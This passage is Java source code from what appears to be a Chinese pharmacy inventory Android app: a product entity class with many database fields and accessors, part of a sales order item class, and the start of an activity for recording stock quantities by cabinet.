public SalesOrderItem(AdvSpkfk sp,String pihao,Double shl){
this.setSpid(sp.getSpid());
this.setSpbh(sp.getSpbh());
this.setSpmch(sp.getSpmch());
this.setShengccj(sp.getShengccj());
this.setShpgg(sp.getShpgg());
this.setDw(sp.getDw());
if(sp.getLshj() != null){
this.setLshj(sp.getLshj().doubleValue());
}
this.setPihao(pihao);
this.setShl(shl);
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getOrderNo() {
return orderNo;
}
public void setOrderNo(String orderNo) {
this.orderNo = orderNo;
}
public int getSeq() {
return seq;
}
public void setSeq(int seq) {
this.seq = seq;
}
public String getSpid() {
return spid;
}
public void setSpid(String spid) {
this.spid = spid;
}
public String getSpbh() {
return spbh;
}
public void setSpbh(String spbh) {
this.spbh = spbh;
}
public String getSpmch() {
return spmch;
}
public void setSpmch(String spmch) {
this.spmch = spmch;
}
public String getPihao() {
return pihao;
}
public void setPihao(String pihao) {
this.pihao = pihao;
}
public Double getShl() {
return shl;
}
public void setShl(Double shl) {
this.shl = shl;
}
public Double getLshj() {
return lshj;
}
public void setLshj(Double lshj) {
this.lshj = lshj;
}
public String getShengccj() {
return shengccj;
}
public void setShengccj(String shengccj) {
this.shengccj = shengccj;
}
public String getShpgg() {
return shpgg;
}
public void setShpgg(String shpgg) {
this.shpgg = shpgg;
}
public Date getCreateTime() {
return createTime;
}
public void setCreateTime(Date createTime) {
this.createTime = createTime;
}
public String getDw() {
return dw;
}
public void setDw(String dw) {
this.dw = dw;
}
}
<file_sep>package com.ajmst.commmon.entity;
// Generated 2013-11-19 19:01:23 by Hibernate Tools 3.4.0.CR1
import java.math.BigDecimal;
import com.j256.ormlite.field.DatabaseField;
/**
* Spkfk generated by hbm2java
*/
public class Spkfk implements java.io.Serializable {
private static final long serialVersionUID = -8078613384970325476L;
@DatabaseField(id=true)
private String spid;
@DatabaseField(index=true)
private String spbh;
@DatabaseField(index=true)
private String sptm;
@DatabaseField(index=true)
private String spmch;
@DatabaseField(index=true)
private String zjm;
@DatabaseField
private String beactive;@DatabaseField
private String yishj;@DatabaseField
private String isJzok;@DatabaseField
private String isGdsj;@DatabaseField
private String isGdzk;@DatabaseField
private String isTjsp;@DatabaseField
private String isHysp;@DatabaseField
private String isGmp;@DatabaseField
private String isGsp;@DatabaseField
private String isSy;@DatabaseField
private String isYp;@DatabaseField
private String jingd;@DatabaseField
private String denglrq;@DatabaseField
private String gengxshj;@DatabaseField
private String delrq;@DatabaseField
private String chbjs;@DatabaseField
private String dw;@DatabaseField
private String shpchd;@DatabaseField
private String shpgg;@DatabaseField
private String kemuhao;@DatabaseField
private String oldcode;@DatabaseField
private String rkhw;@DatabaseField
private String ckhw;@DatabaseField
private String dwbh;@DatabaseField
private String bzqfs;@DatabaseField
private String fenlbh;@DatabaseField
private String guojbh;@DatabaseField
private String changjbh;@DatabaseField
private String huaxm;@DatabaseField
private String changym;@DatabaseField
private String suming;@DatabaseField
private String xiwname;@DatabaseField
private String tongym;@DatabaseField
private String shengccj;@DatabaseField
private String pizhwh;@DatabaseField
private String zhucsb;@DatabaseField
private String jixing;@DatabaseField
private String shiyzh;@DatabaseField
private String bulfy;@DatabaseField
private String chuczysx;@DatabaseField
private String chuffl;@DatabaseField
private String yaofpd;@DatabaseField
private String yongfyyl;@DatabaseField
private String jinjzh;@DatabaseField
private String zhuysx;@DatabaseField
private String yaowchf;@DatabaseField
private String youxq;@DatabaseField
private String shangplx;@DatabaseField
private String guizbz;@DatabaseField
private String yongyfl;@DatabaseField
private String leibie;@DatabaseField
private String kuansbh;@DatabaseField
private String xslb;@DatabaseField
private String colorbh;@DatabaseField
private String chimbh;@DatabaseField
private String classkey;@DatabaseField
private String beizhu;@DatabaseField
private Integer jlgg;@DatabaseField
private Integer otd;@DatabaseField
private Integer ordercycle;@DatabaseField
private BigDecimal stkquot;@DatabaseField
private Integer shl;@DatabaseField
private BigDecimal shlv;@DatabaseField
private BigDecimal hshjj;@DatabaseField
private BigDecimal jj;@DatabaseField
private BigDecimal shj;@DatabaseField
private BigDecimal hshsj;@DatabaseField
private BigDecimal lshj;@DatabaseField
private BigDecimal koul;@DatabaseField
private BigDecimal kcsx;@DatabaseField
private BigDecimal kcxx;@DatabaseField
private BigDecimal helkc;@DatabaseField
private Integer bzqts;@DatabaseField
private Integer yujts;@DatabaseField
private BigDecimal zgshl;@DatabaseField
private BigDecimal zhdcbj;@DatabaseField
private BigDecimal zdshj;@DatabaseField
private BigDecimal zgshj;@DatabaseField
private BigDecimal zgjjxz;@DatabaseField
private BigDecimal maolv;@DatabaseField
private BigDecimal huiytj;@DatabaseField
private Long itemlength;@DatabaseField
private Long itemheight;@DatabaseField
private Long itemwidth;@DatabaseField
private Long weight;@DatabaseField
private BigDecimal casevolume;@DatabaseField
private BigDecimal caseweight;@DatabaseField
private BigDecimal zuixdwtj;@DatabaseField
private BigDecimal zuixdwzl;@DatabaseField
private BigDecimal pfpj;@DatabaseField
private String dispcolor;@DatabaseField
private String jx;@DatabaseField
private Integer bzgg;@DatabaseField
private String lastmodifytime;@DatabaseField
private String isCmd;@DatabaseField
private String lsgg;@DatabaseField
private String isZdyh;@DatabaseField
private String isJkyp;@DatabaseField
private Integer minshl;@DatabaseField
private BigDecimal cxDjKl;@DatabaseField
private String isCxDj;@DatabaseField
private String zdyh;@DatabaseField
private BigDecimal zdhyzklshj;@DatabaseField
private String isCyhydz;@DatabaseField
private BigDecimal huiyshl;@DatabaseField
private String nocalcopys;@DatabaseField
private BigDecimal chbdj;@DatabaseField
private String fuzr;@DatabaseField
private String glid;@DatabaseField
private String isJsh;@DatabaseField
private String isLc;@DatabaseField
private String isZhongyao;@DatabaseField
private String typeBh;@DatabaseField
private BigDecimal tjYlshj;@DatabaseField
private String isYbsp;@DatabaseField
private BigDecimal ybZfbl;@DatabaseField
private String ybSpbh;@DatabaseField
private String username;@DatabaseField
private String chargelb;@DatabaseField
private String isSendybzx;@DatabaseField
private String zhilbz;@DatabaseField
private String laihdw;@DatabaseField
private Integer zbz;@DatabaseField
private String zbcode;
public Spkfk() {
}
public Spkfk(String spid) {
this.spid = spid;
}
public Spkfk(String spid, String spbh, String sptm, String spmch,
String zjm, String beactive, String yishj, String isJzok,
String isGdsj, String isGdzk, String isTjsp, String isHysp,
String isGmp, String isGsp, String isSy, String isYp, String jingd,
String denglrq, String gengxshj, String delrq, String chbjs,
String dw, String shpchd, String shpgg, String kemuhao,
String oldcode, String rkhw, String ckhw, String dwbh,
String bzqfs, String fenlbh, String guojbh, String changjbh,
String huaxm, String changym, String suming, String xiwname,
String tongym, String shengccj, String pizhwh, String zhucsb,
String jixing, String shiyzh, String bulfy, String chuczysx,
String chuffl, String yaofpd, String yongfyyl, String jinjzh,
String zhuysx, String yaowchf, String youxq, String shangplx,
String guizbz, String yongyfl, String leibie, String kuansbh,
String xslb, String colorbh, String chimbh, String classkey,
String beizhu, Integer jlgg, Integer otd, Integer ordercycle,
BigDecimal stkquot, Integer shl, BigDecimal shlv, BigDecimal hshjj,
BigDecimal jj, BigDecimal shj, BigDecimal hshsj, BigDecimal lshj,
BigDecimal koul, BigDecimal kcsx, BigDecimal kcxx,
BigDecimal helkc, Integer bzqts, Integer yujts, BigDecimal zgshl,
BigDecimal zhdcbj, BigDecimal zdshj, BigDecimal zgshj,
BigDecimal zgjjxz, BigDecimal maolv, BigDecimal huiytj,
Long itemlength, Long itemheight, Long itemwidth, Long weight,
BigDecimal casevolume, BigDecimal caseweight, BigDecimal zuixdwtj,
BigDecimal zuixdwzl, BigDecimal pfpj, String dispcolor, String jx,
Integer bzgg, String lastmodifytime, String isCmd, String lsgg,
String isZdyh, String isJkyp, Integer minshl, BigDecimal cxDjKl,
String isCxDj, String zdyh, BigDecimal zdhyzklshj, String isCyhydz,
BigDecimal huiyshl, String nocalcopys, BigDecimal chbdj,
String fuzr, String glid, String isJsh, String isLc,
String isZhongyao, String typeBh, BigDecimal tjYlshj,
String isYbsp, BigDecimal ybZfbl, String ybSpbh, String username,
String chargelb, String isSendybzx, String zhilbz, String laihdw,
Integer zbz, String zbcode) {
this.spid = spid;
this.spbh = spbh;
this.sptm = sptm;
this.spmch = spmch;
this.zjm = zjm;
this.beactive = beactive;
this.yishj = yishj;
this.isJzok = isJzok;
this.isGdsj = isGdsj;
this.isGdzk = isGdzk;
this.isTjsp = isTjsp;
this.isHysp = isHysp;
this.isGmp = isGmp;
this.isGsp = isGsp;
this.isSy = isSy;
this.isYp = isYp;
this.jingd = jingd;
this.denglrq = denglrq;
this.gengxshj = gengxshj;
this.delrq = delrq;
this.chbjs = chbjs;
this.dw = dw;
this.shpchd = shpchd;
this.shpgg = shpgg;
this.kemuhao = kemuhao;
this.oldcode = oldcode;
this.rkhw = rkhw;
this.ckhw = ckhw;
this.dwbh = dwbh;
this.bzqfs = bzqfs;
this.fenlbh = fenlbh;
this.guojbh = guojbh;
this.changjbh = changjbh;
this.huaxm = huaxm;
this.changym = changym;
this.suming = suming;
this.xiwname = xiwname;
this.tongym = tongym;
this.shengccj = shengccj;
this.pizhwh = pizhwh;
this.zhucsb = zhucsb;
this.jixing = jixing;
this.shiyzh = shiyzh;
this.bulfy = bulfy;
this.chuczysx = chuczysx;
this.chuffl = chuffl;
this.yaofpd = yaofpd;
this.yongfyyl = yongfyyl;
this.jinjzh = jinjzh;
this.zhuysx = zhuysx;
this.yaowchf = yaowchf;
this.youxq = youxq;
this.shangplx = shangplx;
this.guizbz = guizbz;
this.yongyfl = yongyfl;
this.leibie = leibie;
this.kuansbh = kuansbh;
this.xslb = xslb;
this.colorbh = colorbh;
this.chimbh = chimbh;
this.classkey = classkey;
this.beizhu = beizhu;
this.jlgg = jlgg;
this.otd = otd;
this.ordercycle = ordercycle;
this.stkquot = stkquot;
this.shl = shl;
this.shlv = shlv;
this.hshjj = hshjj;
this.jj = jj;
this.shj = shj;
this.hshsj = hshsj;
this.lshj = lshj;
this.koul = koul;
this.kcsx = kcsx;
this.kcxx = kcxx;
this.helkc = helkc;
this.bzqts = bzqts;
this.yujts = yujts;
this.zgshl = zgshl;
this.zhdcbj = zhdcbj;
this.zdshj = zdshj;
this.zgshj = zgshj;
this.zgjjxz = zgjjxz;
this.maolv = maolv;
this.huiytj = huiytj;
this.itemlength = itemlength;
this.itemheight = itemheight;
this.itemwidth = itemwidth;
this.weight = weight;
this.casevolume = casevolume;
this.caseweight = caseweight;
this.zuixdwtj = zuixdwtj;
this.zuixdwzl = zuixdwzl;
this.pfpj = pfpj;
this.dispcolor = dispcolor;
this.jx = jx;
this.bzgg = bzgg;
this.lastmodifytime = lastmodifytime;
this.isCmd = isCmd;
this.lsgg = lsgg;
this.isZdyh = isZdyh;
this.isJkyp = isJkyp;
this.minshl = minshl;
this.cxDjKl = cxDjKl;
this.isCxDj = isCxDj;
this.zdyh = zdyh;
this.zdhyzklshj = zdhyzklshj;
this.isCyhydz = isCyhydz;
this.huiyshl = huiyshl;
this.nocalcopys = nocalcopys;
this.chbdj = chbdj;
this.fuzr = fuzr;
this.glid = glid;
this.isJsh = isJsh;
this.isLc = isLc;
this.isZhongyao = isZhongyao;
this.typeBh = typeBh;
this.tjYlshj = tjYlshj;
this.isYbsp = isYbsp;
this.ybZfbl = ybZfbl;
this.ybSpbh = ybSpbh;
this.username = username;
this.chargelb = chargelb;
this.isSendybzx = isSendybzx;
this.zhilbz = zhilbz;
this.laihdw = laihdw;
this.zbz = zbz;
this.zbcode = zbcode;
}
public String getSpid() {
return this.spid;
}
public void setSpid(String spid) {
this.spid = spid;
}
public String getSpbh() {
return this.spbh;
}
public void setSpbh(String spbh) {
this.spbh = spbh;
}
public String getSptm() {
return this.sptm;
}
public void setSptm(String sptm) {
this.sptm = sptm;
}
public String getSpmch() {
return this.spmch;
}
public void setSpmch(String spmch) {
this.spmch = spmch;
}
public String getZjm() {
return this.zjm;
}
public void setZjm(String zjm) {
this.zjm = zjm;
}
public String getBeactive() {
return this.beactive;
}
public void setBeactive(String beactive) {
this.beactive = beactive;
}
public String getYishj() {
return this.yishj;
}
public void setYishj(String yishj) {
this.yishj = yishj;
}
public String getIsJzok() {
return this.isJzok;
}
public void setIsJzok(String isJzok) {
this.isJzok = isJzok;
}
public String getIsGdsj() {
return this.isGdsj;
}
public void setIsGdsj(String isGdsj) {
this.isGdsj = isGdsj;
}
public String getIsGdzk() {
return this.isGdzk;
}
public void setIsGdzk(String isGdzk) {
this.isGdzk = isGdzk;
}
public String getIsTjsp() {
return this.isTjsp;
}
public void setIsTjsp(String isTjsp) {
this.isTjsp = isTjsp;
}
public String getIsHysp() {
return this.isHysp;
}
public void setIsHysp(String isHysp) {
this.isHysp = isHysp;
}
public String getIsGmp() {
return this.isGmp;
}
public void setIsGmp(String isGmp) {
this.isGmp = isGmp;
}
public String getIsGsp() {
return this.isGsp;
}
public void setIsGsp(String isGsp) {
this.isGsp = isGsp;
}
public String getIsSy() {
return this.isSy;
}
public void setIsSy(String isSy) {
this.isSy = isSy;
}
public String getIsYp() {
return this.isYp;
}
public void setIsYp(String isYp) {
this.isYp = isYp;
}
public String getJingd() {
return this.jingd;
}
public void setJingd(String jingd) {
this.jingd = jingd;
}
public String getDenglrq() {
return this.denglrq;
}
public void setDenglrq(String denglrq) {
this.denglrq = denglrq;
}
public String getGengxshj() {
return this.gengxshj;
}
public void setGengxshj(String gengxshj) {
this.gengxshj = gengxshj;
}
public String getDelrq() {
return this.delrq;
}
public void setDelrq(String delrq) {
this.delrq = delrq;
}
public String getChbjs() {
return this.chbjs;
}
public void setChbjs(String chbjs) {
this.chbjs = chbjs;
}
public String getDw() {
return this.dw;
}
public void setDw(String dw) {
this.dw = dw;
}
public String getShpchd() {
return this.shpchd;
}
public void setShpchd(String shpchd) {
this.shpchd = shpchd;
}
public String getShpgg() {
return this.shpgg;
}
public void setShpgg(String shpgg) {
this.shpgg = shpgg;
}
public String getKemuhao() {
return this.kemuhao;
}
public void setKemuhao(String kemuhao) {
this.kemuhao = kemuhao;
}
public String getOldcode() {
return this.oldcode;
}
public void setOldcode(String oldcode) {
this.oldcode = oldcode;
}
public String getRkhw() {
return this.rkhw;
}
public void setRkhw(String rkhw) {
this.rkhw = rkhw;
}
public String getCkhw() {
return this.ckhw;
}
public void setCkhw(String ckhw) {
this.ckhw = ckhw;
}
public String getDwbh() {
return this.dwbh;
}
public void setDwbh(String dwbh) {
this.dwbh = dwbh;
}
public String getBzqfs() {
return this.bzqfs;
}
public void setBzqfs(String bzqfs) {
this.bzqfs = bzqfs;
}
public String getFenlbh() {
return this.fenlbh;
}
public void setFenlbh(String fenlbh) {
this.fenlbh = fenlbh;
}
public String getGuojbh() {
return this.guojbh;
}
public void setGuojbh(String guojbh) {
this.guojbh = guojbh;
}
public String getChangjbh() {
return this.changjbh;
}
public void setChangjbh(String changjbh) {
this.changjbh = changjbh;
}
public String getHuaxm() {
return this.huaxm;
}
public void setHuaxm(String huaxm) {
this.huaxm = huaxm;
}
public String getChangym() {
return this.changym;
}
public void setChangym(String changym) {
this.changym = changym;
}
public String getSuming() {
return this.suming;
}
public void setSuming(String suming) {
this.suming = suming;
}
public String getXiwname() {
return this.xiwname;
}
public void setXiwname(String xiwname) {
this.xiwname = xiwname;
}
public String getTongym() {
return this.tongym;
}
public void setTongym(String tongym) {
this.tongym = tongym;
}
public String getShengccj() {
return this.shengccj;
}
public void setShengccj(String shengccj) {
this.shengccj = shengccj;
}
public String getPizhwh() {
return this.pizhwh;
}
public void setPizhwh(String pizhwh) {
this.pizhwh = pizhwh;
}
public String getZhucsb() {
return this.zhucsb;
}
public void setZhucsb(String zhucsb) {
this.zhucsb = zhucsb;
}
public String getJixing() {
return this.jixing;
}
public void setJixing(String jixing) {
this.jixing = jixing;
}
public String getShiyzh() {
return this.shiyzh;
}
public void setShiyzh(String shiyzh) {
this.shiyzh = shiyzh;
}
public String getBulfy() {
return this.bulfy;
}
public void setBulfy(String bulfy) {
this.bulfy = bulfy;
}
public String getChuczysx() {
return this.chuczysx;
}
public void setChuczysx(String chuczysx) {
this.chuczysx = chuczysx;
}
public String getChuffl() {
return this.chuffl;
}
public void setChuffl(String chuffl) {
this.chuffl = chuffl;
}
public String getYaofpd() {
return this.yaofpd;
}
public void setYaofpd(String yaofpd) {
this.yaofpd = yaofpd;
}
public String getYongfyyl() {
return this.yongfyyl;
}
public void setYongfyyl(String yongfyyl) {
this.yongfyyl = yongfyyl;
}
public String getJinjzh() {
return this.jinjzh;
}
public void setJinjzh(String jinjzh) {
this.jinjzh = jinjzh;
}
public String getZhuysx() {
return this.zhuysx;
}
public void setZhuysx(String zhuysx) {
this.zhuysx = zhuysx;
}
public String getYaowchf() {
return this.yaowchf;
}
public void setYaowchf(String yaowchf) {
this.yaowchf = yaowchf;
}
public String getYouxq() {
return this.youxq;
}
public void setYouxq(String youxq) {
this.youxq = youxq;
}
public String getShangplx() {
return this.shangplx;
}
public void setShangplx(String shangplx) {
this.shangplx = shangplx;
}
public String getGuizbz() {
return this.guizbz;
}
public void setGuizbz(String guizbz) {
this.guizbz = guizbz;
}
public String getYongyfl() {
return this.yongyfl;
}
public void setYongyfl(String yongyfl) {
this.yongyfl = yongyfl;
}
public String getLeibie() {
return this.leibie;
}
public void setLeibie(String leibie) {
this.leibie = leibie;
}
public String getKuansbh() {
return this.kuansbh;
}
public void setKuansbh(String kuansbh) {
this.kuansbh = kuansbh;
}
public String getXslb() {
return this.xslb;
}
public void setXslb(String xslb) {
this.xslb = xslb;
}
public String getColorbh() {
return this.colorbh;
}
public void setColorbh(String colorbh) {
this.colorbh = colorbh;
}
public String getChimbh() {
return this.chimbh;
}
public void setChimbh(String chimbh) {
this.chimbh = chimbh;
}
public String getClasskey() {
return this.classkey;
}
public void setClasskey(String classkey) {
this.classkey = classkey;
}
public String getBeizhu() {
return this.beizhu;
}
public void setBeizhu(String beizhu) {
this.beizhu = beizhu;
}
public Integer getJlgg() {
return this.jlgg;
}
public void setJlgg(Integer jlgg) {
this.jlgg = jlgg;
}
public Integer getOtd() {
return this.otd;
}
public void setOtd(Integer otd) {
this.otd = otd;
}
public Integer getOrdercycle() {
return this.ordercycle;
}
public void setOrdercycle(Integer ordercycle) {
this.ordercycle = ordercycle;
}
public BigDecimal getStkquot() {
return this.stkquot;
}
public void setStkquot(BigDecimal stkquot) {
this.stkquot = stkquot;
}
public Integer getShl() {
return this.shl;
}
public void setShl(Integer shl) {
this.shl = shl;
}
public BigDecimal getShlv() {
return this.shlv;
}
public void setShlv(BigDecimal shlv) {
this.shlv = shlv;
}
public BigDecimal getHshjj() {
return this.hshjj;
}
public void setHshjj(BigDecimal hshjj) {
this.hshjj = hshjj;
}
public BigDecimal getJj() {
return this.jj;
}
public void setJj(BigDecimal jj) {
this.jj = jj;
}
public BigDecimal getShj() {
return this.shj;
}
public void setShj(BigDecimal shj) {
this.shj = shj;
}
public BigDecimal getHshsj() {
return this.hshsj;
}
public void setHshsj(BigDecimal hshsj) {
this.hshsj = hshsj;
}
public BigDecimal getLshj() {
return this.lshj;
}
public void setLshj(BigDecimal lshj) {
this.lshj = lshj;
}
public BigDecimal getKoul() {
return this.koul;
}
public void setKoul(BigDecimal koul) {
this.koul = koul;
}
public BigDecimal getKcsx() {
return this.kcsx;
}
public void setKcsx(BigDecimal kcsx) {
this.kcsx = kcsx;
}
public BigDecimal getKcxx() {
return this.kcxx;
}
public void setKcxx(BigDecimal kcxx) {
this.kcxx = kcxx;
}
public BigDecimal getHelkc() {
return this.helkc;
}
public void setHelkc(BigDecimal helkc) {
this.helkc = helkc;
}
public Integer getBzqts() {
return this.bzqts;
}
public void setBzqts(Integer bzqts) {
this.bzqts = bzqts;
}
public Integer getYujts() {
return this.yujts;
}
public void setYujts(Integer yujts) {
this.yujts = yujts;
}
public BigDecimal getZgshl() {
return this.zgshl;
}
public void setZgshl(BigDecimal zgshl) {
this.zgshl = zgshl;
}
public BigDecimal getZhdcbj() {
return this.zhdcbj;
}
public void setZhdcbj(BigDecimal zhdcbj) {
this.zhdcbj = zhdcbj;
}
public BigDecimal getZdshj() {
return this.zdshj;
}
public void setZdshj(BigDecimal zdshj) {
this.zdshj = zdshj;
}
public BigDecimal getZgshj() {
return this.zgshj;
}
public void setZgshj(BigDecimal zgshj) {
this.zgshj = zgshj;
}
public BigDecimal getZgjjxz() {
return this.zgjjxz;
}
public void setZgjjxz(BigDecimal zgjjxz) {
this.zgjjxz = zgjjxz;
}
public BigDecimal getMaolv() {
return this.maolv;
}
public void setMaolv(BigDecimal maolv) {
this.maolv = maolv;
}
public BigDecimal getHuiytj() {
return this.huiytj;
}
public void setHuiytj(BigDecimal huiytj) {
this.huiytj = huiytj;
}
public Long getItemlength() {
return this.itemlength;
}
public void setItemlength(Long itemlength) {
this.itemlength = itemlength;
}
public Long getItemheight() {
return this.itemheight;
}
public void setItemheight(Long itemheight) {
this.itemheight = itemheight;
}
public Long getItemwidth() {
return this.itemwidth;
}
public void setItemwidth(Long itemwidth) {
this.itemwidth = itemwidth;
}
public Long getWeight() {
return this.weight;
}
public void setWeight(Long weight) {
this.weight = weight;
}
public BigDecimal getCasevolume() {
return this.casevolume;
}
public void setCasevolume(BigDecimal casevolume) {
this.casevolume = casevolume;
}
public BigDecimal getCaseweight() {
return this.caseweight;
}
public void setCaseweight(BigDecimal caseweight) {
this.caseweight = caseweight;
}
public BigDecimal getZuixdwtj() {
return this.zuixdwtj;
}
public void setZuixdwtj(BigDecimal zuixdwtj) {
this.zuixdwtj = zuixdwtj;
}
public BigDecimal getZuixdwzl() {
return this.zuixdwzl;
}
public void setZuixdwzl(BigDecimal zuixdwzl) {
this.zuixdwzl = zuixdwzl;
}
public BigDecimal getPfpj() {
return this.pfpj;
}
public void setPfpj(BigDecimal pfpj) {
this.pfpj = pfpj;
}
public String getDispcolor() {
return this.dispcolor;
}
public void setDispcolor(String dispcolor) {
this.dispcolor = dispcolor;
}
public String getJx() {
return this.jx;
}
public void setJx(String jx) {
this.jx = jx;
}
public Integer getBzgg() {
return this.bzgg;
}
public void setBzgg(Integer bzgg) {
this.bzgg = bzgg;
}
public String getLastmodifytime() {
return this.lastmodifytime;
}
public void setLastmodifytime(String lastmodifytime) {
this.lastmodifytime = lastmodifytime;
}
public String getIsCmd() {
return this.isCmd;
}
public void setIsCmd(String isCmd) {
this.isCmd = isCmd;
}
public String getLsgg() {
return this.lsgg;
}
public void setLsgg(String lsgg) {
this.lsgg = lsgg;
}
public String getIsZdyh() {
return this.isZdyh;
}
public void setIsZdyh(String isZdyh) {
this.isZdyh = isZdyh;
}
public String getIsJkyp() {
return this.isJkyp;
}
public void setIsJkyp(String isJkyp) {
this.isJkyp = isJkyp;
}
public Integer getMinshl() {
return this.minshl;
}
public void setMinshl(Integer minshl) {
this.minshl = minshl;
}
public BigDecimal getCxDjKl() {
return this.cxDjKl;
}
public void setCxDjKl(BigDecimal cxDjKl) {
this.cxDjKl = cxDjKl;
}
public String getIsCxDj() {
return this.isCxDj;
}
public void setIsCxDj(String isCxDj) {
this.isCxDj = isCxDj;
}
public String getZdyh() {
return this.zdyh;
}
public void setZdyh(String zdyh) {
this.zdyh = zdyh;
}
public BigDecimal getZdhyzklshj() {
return this.zdhyzklshj;
}
public void setZdhyzklshj(BigDecimal zdhyzklshj) {
this.zdhyzklshj = zdhyzklshj;
}
public String getIsCyhydz() {
return this.isCyhydz;
}
public void setIsCyhydz(String isCyhydz) {
this.isCyhydz = isCyhydz;
}
public BigDecimal getHuiyshl() {
return this.huiyshl;
}
public void setHuiyshl(BigDecimal huiyshl) {
this.huiyshl = huiyshl;
}
public String getNocalcopys() {
return this.nocalcopys;
}
public void setNocalcopys(String nocalcopys) {
this.nocalcopys = nocalcopys;
}
public BigDecimal getChbdj() {
return this.chbdj;
}
public void setChbdj(BigDecimal chbdj) {
this.chbdj = chbdj;
}
public String getFuzr() {
return this.fuzr;
}
public void setFuzr(String fuzr) {
this.fuzr = fuzr;
}
public String getGlid() {
return this.glid;
}
public void setGlid(String glid) {
this.glid = glid;
}
public String getIsJsh() {
return this.isJsh;
}
public void setIsJsh(String isJsh) {
this.isJsh = isJsh;
}
public String getIsLc() {
return this.isLc;
}
public void setIsLc(String isLc) {
this.isLc = isLc;
}
public String getIsZhongyao() {
return this.isZhongyao;
}
public void setIsZhongyao(String isZhongyao) {
this.isZhongyao = isZhongyao;
}
public String getTypeBh() {
return this.typeBh;
}
public void setTypeBh(String typeBh) {
this.typeBh = typeBh;
}
public BigDecimal getTjYlshj() {
return this.tjYlshj;
}
public void setTjYlshj(BigDecimal tjYlshj) {
this.tjYlshj = tjYlshj;
}
public String getIsYbsp() {
return this.isYbsp;
}
public void setIsYbsp(String isYbsp) {
this.isYbsp = isYbsp;
}
public BigDecimal getYbZfbl() {
return this.ybZfbl;
}
public void setYbZfbl(BigDecimal ybZfbl) {
this.ybZfbl = ybZfbl;
}
public String getYbSpbh() {
return this.ybSpbh;
}
public void setYbSpbh(String ybSpbh) {
this.ybSpbh = ybSpbh;
}
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
public String getChargelb() {
return this.chargelb;
}
public void setChargelb(String chargelb) {
this.chargelb = chargelb;
}
public String getIsSendybzx() {
return this.isSendybzx;
}
public void setIsSendybzx(String isSendybzx) {
this.isSendybzx = isSendybzx;
}
public String getZhilbz() {
return this.zhilbz;
}
public void setZhilbz(String zhilbz) {
this.zhilbz = zhilbz;
}
public String getLaihdw() {
return this.laihdw;
}
public void setLaihdw(String laihdw) {
this.laihdw = laihdw;
}
public Integer getZbz() {
return this.zbz;
}
public void setZbz(Integer zbz) {
this.zbz = zbz;
}
public String getZbcode() {
return this.zbcode;
}
public void setZbcode(String zbcode) {
this.zbcode = zbcode;
}
}
<file_sep>package com.ajmst.android.ui;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import com.ajmst.android.R;
import com.ajmst.commmon.entity.AjmstMaintain;
import com.ajmst.android.service.MaintainService;
import com.ajmst.android.ui.maintain.MaintainItemListAdapter;
import com.ajmst.android.util.StringUtils;
public class MaintainActivity extends Activity {
ArrayList<Map<String, Object>> items = new ArrayList<Map<String, Object>>();
Context mContext;
private MaintainItemListAdapter listAdapter;
List<AjmstMaintain> maintainItemList;
private MaintainService maintainService;
private SharedPreferences preferences;
private String lastImportTime;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.maintain);
mContext = this;
maintainService = new MaintainService(mContext);
String preferencesName = this.getString(R.string.preferences_of_maintain);
preferences = this.getSharedPreferences(preferencesName, Context.MODE_PRIVATE);
Button buttonGH = (Button) findViewById(R.id.buttonGH);
//显示为最后一次编辑时的柜号
String lastGH = preferences.getString("lastGH", "全部");
buttonGH.setText(lastGH);
//柜号选择按钮
buttonGH.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//changPopState(v);
final CharSequence[] cabinets = new CharSequence[24];
cabinets[0] = "全部";
cabinets[1] = "未完成";
cabinets[2] = "1柜";
cabinets[3] = "2柜";
cabinets[4] = "3柜";
cabinets[5] = "4柜";
cabinets[6] = "5柜";
cabinets[7] = "6柜";
cabinets[8] = "7柜";
cabinets[9] = "8柜";
cabinets[10] = "9柜";
cabinets[11] = "10柜";
cabinets[12] = "11柜";
cabinets[13] = "12柜";
cabinets[14] = "13柜";
cabinets[15] = "14柜";
cabinets[16] = "A柜";
cabinets[17] = "B柜";
cabinets[18] = "C柜";
cabinets[19] = "D柜";
cabinets[20] = "E柜";
cabinets[21] = "F柜";
cabinets[22] = "冰箱";
cabinets[23] = "里面";
new AlertDialog.Builder(MaintainActivity.this).setTitle(null)
.setItems(cabinets, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
String cabinet = cabinets[which].toString();
Button buttonGH = (Button) findViewById(R.id.buttonGH);
buttonGH.setText(cabinet);
showData(cabinet);
dialog.dismiss();
}
}).show();
}
});
//养护列表单击监听器,弹出输入输入窗口
ListView maintainList = (ListView) findViewById(R.id.listView1);
maintainList.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View v,
int position, long arg3) {
//弹出数字输入框
Intent intent = new Intent(MaintainActivity.this, NumberInputActivity.class);
TextView tvShl = (TextView) v.findViewById(R.id.tvShl);
String number = tvShl.getText().toString();
intent.putExtra(NumberInputActivity.NUMBER, number);
intent.putExtra(NumberInputActivity.TAG, "" + position);
intent.putExtra(NumberInputActivity.DECIMAL_COUT, 2);//设置最多只能输入两位小数,因为平安数据库中只存2位
startActivityForResult(intent, NumberInputActivity.REQUEST_CODE_GET_INPUT);
}
});
//记录最后导入时间,以便恢复activity后判断数据是否发生变化
lastImportTime = preferences.getString("lastImportTime", null);
//根据上一次选中的柜号显示养护条目
showData(lastGH);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (resultCode == NumberInputActivity.RESULT_CODE_GET_INPUT) {
final Intent intent = data;
if (intent != null) {
String number = intent.getStringExtra(NumberInputActivity.NUMBER);
int position = Integer.valueOf(intent
.getStringExtra(NumberInputActivity.TAG));
if (number != null && "".equals(number) == false) {
ListView lvMaintain = (ListView) findViewById(R.id.listView1);
AjmstMaintain mt = (AjmstMaintain) lvMaintain.getItemAtPosition(position);
